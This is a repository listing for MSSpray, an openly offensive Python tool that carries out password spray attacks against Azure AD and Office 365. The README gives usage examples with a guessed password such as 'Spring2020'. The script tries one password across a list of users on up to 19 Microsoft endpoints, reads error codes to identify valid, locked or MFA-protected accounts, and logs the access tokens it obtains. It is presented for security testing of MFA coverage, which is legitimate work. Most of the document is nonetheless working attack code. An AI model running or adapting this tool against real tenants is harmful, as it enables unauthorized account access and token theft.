├── CHANGELOG.txt ├── LICENSE ├── README.md └── msspray.py /CHANGELOG.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Security Risk Advisors 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ***Note: This repository is no longer being developed*** 2 | 3 | # msspray.py 4 | MSSpray is used to conduct password spray attacks against Azure AD as well as validate the implementation of MFA on Azure and Office 365 endpoints 5 | ``` 6 | ------------------------------------------------------------ 7 | | ;---<<<<,______________________________________________ | 8 | | _|_ / / ____/ ____/ __ / __ / __ / / / | 9 | | / \ / / / /____ /____ / ___/ __/ / \ / | 10 | | | | /__/__/__/______/______/__/ /__/\_\__/__/ /__/ | 11 | | |___| | 12 | ------------------------------------------------------------ 13 | ``` 14 | 15 | --- 16 | ## Usage 17 | Perform a password spray against the selected endpoint with the supplied userfile (one email address per line) and password and the option to stop on success (stop): 18 | 19 | `python3 msspray.py spray ` 20 | 21 | Check each endpoint for authentication with a valid username and password: 22 | 23 | `python3 msspray.py validate ` 24 | 25 | --- 26 | ## Endpoints (Default is 1) 27 | | Number | Endpoint | Endpoint URL | 28 | |---|---|---| 29 | |[1] | aad_graph_api|https://graph.windows.net 30 | |[2]|ms_graph_api| https://graph.microsoft.com 31 | |[3]|azure_mgmt_api |https://management.azure.com 32 | |[4]|windows_net_mgmt_api | https://management.core.windows.net 33 | |[5]|cloudwebappproxy| https://proxy.cloudwebappproxy.net/registerapp 34 | |[6]|officeapps| https://officeapps.live.com 35 | |[7]|outlook|https://outlook.office365.com 36 | |[8]|webshellsuite|https://webshell.suite.office.com 37 | |[9]|sara |https://api.diagnostics.office.com 38 | |[10] |office_mgmt|https://manage.office.com 39 | |[11] |msmamservice |https://msmamservice.api.application 40 | |[12] |spacesapi|https://api.spaces.skype.com 41 | |[13] |datacatalog|https://datacatalog.azure.com 42 | |[14] |database |https://database.windows.net 43 | |[15] |AzureKeyVault|https://vault.azure.net 44 | |[16] |onenote|https://onenote.com 45 | |[17] |o365_yammer|https://api.yammer.com 46 | |[18] |skype4business |https://api.skypeforbusiness.com 47 | |[19] |o365_exchange|https://outlook-sdf.office.com 48 | 49 | --- 50 | ## Examples 51 | spray against https://graph.windows.net, stopping on first successful login 52 | 53 | `python3 msspray.py spray users.txt Spring2020 1 stop` 54 | 55 | spray against https://management.core.windows.net 56 | 57 | `python3 msspray.py spray users.txt Spring2020 4` 58 | 59 | check all endpoints using valid account 60 | 61 | `python3 msspray.py validate bill.smith@sra.io ReallyBadPass` 62 | 63 | --- 64 | 65 | Blog Post: https://sra.io/blog/msspray-wait-how-many-endpoints-dont-have-mfa/ 66 | 67 | For any questions, feel free to reach out to me on Twitter [@__TexasRanger](https://twitter.com/__TexasRanger) 68 | -------------------------------------------------------------------------------- /msspray.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import adal 3 | import sys 4 | import datetime 5 | 6 | black = lambda text: '\033[0;30m' + text + '\033[0m' 7 | red = lambda text: '\033[1;31m' + text + '\033[0m' 8 | green = lambda text: '\033[1;32m' + text + '\033[0m' 9 | yellow = lambda text: '\033[1;33m' + text + '\033[0m' 10 | blue = lambda text: '\033[0;34m' + text + '\033[0m' 11 | magenta = lambda text: '\033[0;35m' + text + '\033[0m' 12 | cyan = lambda text: '\033[0;36m' + text + '\033[0m' 13 | white = lambda text: '\033[0;37m' + text + '\033[0m' 14 | 15 | # Azure error codes: https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes 16 | # Endpoint list: https://github.com/Gerenios/AADInternals/blob/master/AccessToken_utils.ps1 17 | # More endpoints: https://www.shawntabrizi.com/aad/common-microsoft-resources-azure-active-directory/ 18 | 19 | endpoint_table = [ 20 | [1, "aad_graph_api", "https://graph.windows.net"], 21 | [2, "ms_graph_api", "https://graph.microsoft.com"], 22 | [3, "azure_mgmt_api", "https://management.azure.com"], 23 | [4, "windows_net_mgmt_api", "https://management.core.windows.net"], 24 | [5, "cloudwebappproxy", "https://proxy.cloudwebappproxy.net/registerapp"], 25 | [6, "officeapps", "https://officeapps.live.com"], 26 | [7, "outlook", "https://outlook.office365.com"], 27 | [8, "webshellsuite", "https://webshell.suite.office.com"], 28 | [9, "sara", "https://api.diagnostics.office.com"], 29 | [10, "office_mgmt", "https://manage.office.com"], 30 | [11, "msmamservice", "https://msmamservice.api.application"], 31 | [12, "spacesapi", "https://api.spaces.skype.com"], 32 | [13, "datacatalog", "https://datacatalog.azure.com"], 33 | [14, "database", "https://database.windows.net"], 34 | [15, "AzureKeyVault", "https://vault.azure.net"], 35 | [16, "onenote", "https://onenote.com"], 36 | [17, "o365_yammer", "https://api.yammer.com"], 37 | [18, "skype4business", "https://api.skypeforbusiness.com"], 38 | [19, "o365_exchange", "https://outlook-sdf.office.com"] 39 | ] 40 | 41 | def main(): 42 | if len(sys.argv) == 1: 43 | help_menu() 44 | exit() 45 | if sys.argv[1] == 'spray': 46 | ascii_art() 47 | spray() 48 | elif sys.argv[1] == 'validate' and len(sys.argv) == 4: 49 | ascii_art() 50 | validate() 51 | else: 52 | help_menu() 53 | 54 | def ascii_art(): 55 | print() 56 | print() 57 | print(yellow(' ------------------------------------------------------------')) 58 | print(yellow(" | ;---<<<<,______________________________________________ |")) 59 | print(yellow(" | _|_ / / ____/ ____/ __ / __ / __ / / / |")) 60 | print(yellow(" | / \\ / / / /____ /____ / ___/ __/ / \\ / |")) 61 | print(yellow(" | | | /__/__/__/______/______/__/ /__/\\_\\__/__/ /__/ |")) 62 | print(yellow(" | |___| |")) 63 | print(yellow(" ------------------------------------------------------------")) 64 | print() 65 | print(green(" Tool :: Password attacks and MFA validation against various endpoints in Azure and Office 365")) 66 | print(green(" Author :: Walker Hines (@__TexasRanger)")) 67 | print(green(" Credits :: Dan Astor (@illegitimateDA)")) 68 | print(green(" Company :: Security Risk Advisors")) 69 | print(green(" Version :: 1.0")) 70 | print() 71 | print(" ------------------------------------------------------------") 72 | 73 | def spray(): 74 | stop_on_success = False 75 | 76 | if len(sys.argv) != 5 and len(sys.argv) != 6: 77 | help_menu() 78 | exit() 79 | 80 | if len(sys.argv) == 6: 81 | if sys.argv[5] == "stop": 82 | stop_on_success = True 83 | 84 | user_file = open(sys.argv[2]) 85 | user_list = user_file.readlines() 86 | user_file.close() 87 | spray_password = sys.argv[3] 88 | 89 | endpoint = endpoint_table[int(sys.argv[4]) - 1][2] 90 | 91 | token_list = [] 92 | successful_user_list = [] 93 | 94 | user_count = len(user_list) 95 | date_time = datetime.datetime.now() 96 | file_name = date_time.strftime("msspraylogs_" + "%m-%d-%y-%X.txt") 97 | file_name = file_name.replace(":", "-") 98 | error_log = open(file_name, "w+") 99 | spray_position = 1 100 | 101 | print() 102 | print(yellow("Spraying endpoint " + endpoint + " with " + str(len(user_list)) + " users\n")) 103 | error_log.write("Spraying endpoint " + endpoint + " with " + str(len(user_list)) + " users\n\n") 104 | lockout_count = 0 105 | ignore_lockout = False 106 | 107 | for user in user_list: 108 | token = None 109 | context = None 110 | result = '' 111 | result_clean = '' 112 | error = '' 113 | context = adal.AuthenticationContext('https://login.microsoftonline.com/common', api_version=None, proxies=None, verify_ssl=True) 114 | user_formatted = user.replace('\n', '') 115 | user_formatted = user_formatted.replace('\r', '') 116 | print(yellow("[" + str(spray_position) + "/" + str(user_count) + "]") + "User: " + user_formatted + " | ", end ="") 117 | error_log.write("[" + str(spray_position) + "/" + str(user_count) + "]User: " + user_formatted + "\n") 118 | try: 119 | token = context.acquire_token_with_username_password(endpoint, user_formatted, spray_password, '1b730954-1685-4b74-9bfd-dac224a7b894') 120 | if token is not None: 121 | lockout_count = 0 122 | result = green("Success!") 123 | result_clean = "Success!" 124 | error = "None" 125 | successful_user_list.append(user_formatted) 126 | token_list.append(token) 127 | if stop_on_success == True: 128 | print(result + "\n") 129 | error_log.write("Result: " + result_clean + "\n") 130 | error_log.write("Azure Error Code: " + error + "\n\n") 131 | user_count = spray_position 132 | break 133 | 134 | except adal.adal_error.AdalError as e: 135 | if "WS-Trust RST request" in str(e): 136 | lockout_count = 0 137 | result = red("Failed") 138 | result_clean = "Failed" 139 | error = str(e) 140 | elif "Server returned an unknown AccountType: unknown" in str(e): 141 | lockout_count = 0 142 | result = red("Invalid Domain, check for typo") 143 | result_clean = "Invalid Domain, check for typo" 144 | error = str(e) 145 | elif "Server returned error in RSTR" in str(e): 146 | lockout_count = 0 147 | result = red("Invalid Account") 148 | result_clean = "Invalid Account" 149 | error = str(e) 150 | elif "User Realm Discovery request" in str(e): 151 | lockout_count = 0 152 | result = red("Poorly formatted username") 153 | result_clean = "Poorly formatted username" 154 | error = str(e) 155 | else: 156 | error_code = e.error_response['error_codes'][0] 157 | error_description = e.error_response['error_description'] 158 | tmp = error_description.split("\n")[0] 159 | if error_code == 50076: 160 | result = yellow("Success: MFA Required") 161 | result_clean = "Success: MFA Required" 162 | sul = user_formatted + " - MFA Required" 163 | lockout_count = 0 164 | successful_user_list.append(sul) 165 | error = tmp 166 | elif error_code == 50158: 167 | result = yellow("Probable Success: External security challenge not satisfied, likely a conditional access policy") 168 | result_clean = "Probable Success: External security challenge not satisfied, likely a conditional access policy" 169 | sul = user_formatted + " - Conditional Access Policy in place" 170 | lockout_count = 0 171 | successful_user_list.append(sul) 172 | error = tmp 173 | elif error_code == 50053: 174 | result = yellow("Success: Account Locked") 175 | result_clean = "Success: Account Locked" 176 | sul = user_formatted + " - Account Locked" 177 | lockout_count = lockout_count + 1 178 | successful_user_list.append(sul) 179 | error = tmp 180 | elif error_code == 50057: 181 | result = yellow("Success: Account Disabled") 182 | result_clean = "Success: Account Disabled" 183 | lockout_count = 0 184 | sul = user_formatted + " - Account Disabled" 185 | successful_user_list.append(sul) 186 | error = tmp 187 | elif error_code == 50055: 188 | result = yellow("Success: Password Expired") 189 | lockout_count = 0 190 | result_clean = "Success: Password Expired" 191 | sul = user_formatted + " - Password Expired" 192 | successful_user_list.append(sul) 193 | error = tmp 194 | elif error_code == 50034: 195 | result = red("Failed: Account does not exist in directory") 196 | lockout_count = 0 197 | result_clean = "Failed: Account does not exist in directory" 198 | error = tmp 199 | else: 200 | result = red("Failed") 201 | lockout_count = 0 202 | result_clean = "Failed" 203 | error = tmp 204 | if lockout_count > 5 and ignore_lockout == False: 205 | result = "Too many lockouts in a row suggests your spray may have been blocked" 206 | queryUser = input("Too many lockout errors in a row suggests your spray may have been blocked, do you want to continue? (y/N): ") 207 | if queryUser == "y": 208 | lockout_count = 0 209 | ignore_lockout = True 210 | else: 211 | user_count = spray_position 212 | break 213 | 214 | spray_position = spray_position + 1 215 | print(result + "\n") 216 | error_log.write("Result: " + result_clean + "\n") 217 | error_log.write("Azure Error Code: " + error + "\n\n") 218 | error_log.write("\n\n") 219 | error_log.write("Tokens gained: \n") 220 | for t in token_list: 221 | error_log.write(str(t) + "\n") 222 | error_log.close() 223 | print(yellow("Total Users Sprayed: " + str(user_count) + "\n")) 224 | print(yellow("Successful Logins: " + str(len(token_list)))) 225 | print(yellow("---------------------------------------------")) 226 | for s in successful_user_list: 227 | print(green(s)) 228 | print("\n") 229 | print("Logs of this spray including detailed error codes and tokens have been written to: " + file_name + "\n") 230 | 231 | def validate(): 232 | 233 | date_time = datetime.datetime.now() 234 | file_name = date_time.strftime("validationlog_" + "%m-%d-%y-%X.txt") 235 | file_name = file_name.replace(":", "-") 236 | 237 | token_list = [] 238 | validation_log = open(file_name, "w+") 239 | username = sys.argv[2] 240 | password = sys.argv[3] 241 | print(yellow("Checking all endpoints with account: " + username + "\n")) 242 | validation_log.write("Checking all endpoints with account: " + username + "\n\n") 243 | log_result = '' 244 | 245 | for entry in endpoint_table: 246 | endpoint = entry[2] 247 | error = '' 248 | result = '' 249 | token = None 250 | context = None 251 | context = adal.AuthenticationContext("https://login.microsoftonline.com/common", api_version=None, proxies=None, verify_ssl=True) 252 | try: 253 | token = context.acquire_token_with_username_password(endpoint, username, password, '1b730954-1685-4b74-9bfd-dac224a7b894') 254 | if token is not None: 255 | result = green('Successful login') 256 | log_result = 'Successful login' 257 | error = "None" 258 | token_list.append(token) 259 | except adal.adal_error.AdalError as e: 260 | try: 261 | error_code = e.error_response['error_codes'][0] 262 | error_description = e.error_response['error_description'] 263 | tmp = error_description.split("\n")[0] 264 | if error_code == 50076: 265 | result = yellow("Success: MFA Required") 266 | log_result = "Success: MFA Required" 267 | error = tmp 268 | elif error_code == 50158: 269 | result = yellow("Probable Success: External security challenge not satisfied, likely a conditional access policy") 270 | log_result = "Probable Success: External security challenge not satisfied, likely a conditional access policy" 271 | error = tmp 272 | elif error_code == 50053: 273 | result = yellow("Success: Account Locked") 274 | log_result = "Success: Account Locked" 275 | error = tmp 276 | elif error_code == 50057: 277 | result = yellow("Success: Account Disabled") 278 | log_result = "Success: Account Disabled" 279 | error = tmp 280 | elif error_code == 50055: 281 | result = yellow("Success: Password Expired") 282 | log_result = "Success: Password Expired" 283 | error = tmp 284 | else: 285 | result = red("Failed") 286 | log_result = "Failed" 287 | error = tmp 288 | except TypeError as f: 289 | result = str(e) 290 | print("Endpoint: " + endpoint) 291 | print(result + "\n") 292 | validation_log.write("Endpoint: " + endpoint + "\n\t" + "Result: " + log_result + "\n\tError Message: " + error + "\n\n") 293 | for t in token_list: 294 | validation_log.write("Token: " + str(t) + "\n\n") 295 | print("Log of endpoint authorization attempts written to: " + file_name + "\n") 296 | validation_log.close() 297 | 298 | 299 | def help_menu(): 300 | print("----------------------------------------------------------------------------------------------------------------------") 301 | print("Usage:\n") 302 | print(("Perform a password spray against the with supplied and with the option to stop on success : ")) 303 | print(yellow(" python3 msspray.py spray ")) 304 | print(("\nCheck each endpoint for authentication with a valid and : ")) 305 | print(yellow(" python3 msspray.py validate \n")) 306 | print("----------------------------------------------------------------------------------------------------------------------") 307 | print("Endpoints (Default is [1]): \n") 308 | print(" {:<6} {:<20} {:<50}\n".format('Number', 'Name', 'Endpoint')) 309 | for entry in endpoint_table: 310 | print(green(" {:<6} {:<20} {:<50}".format("["+str(entry[0])+"]", entry[1], entry[2]))) 311 | print("----------------------------------------------------------------------------------------------------------------------") 312 | print("Examples: \n") 313 | print(yellow(" python3 msspray.py spray users.txt Spring2020 1 stop #spray against https://graph.windows.net, stopping on first successful login\n")) 314 | print(yellow(" python3 msspray.py spray users.txt Spring2020 4 #spray against https://management.core.windows.net\n")) 315 | print(yellow(" python3 msspray.py validate bill.smith@microsoft.com ReallyBadPass #check all endpoints using valid account\n")) 316 | print("----------------------------------------------------------------------------------------------------------------------") 317 | 318 | 319 | main() --------------------------------------------------------------------------------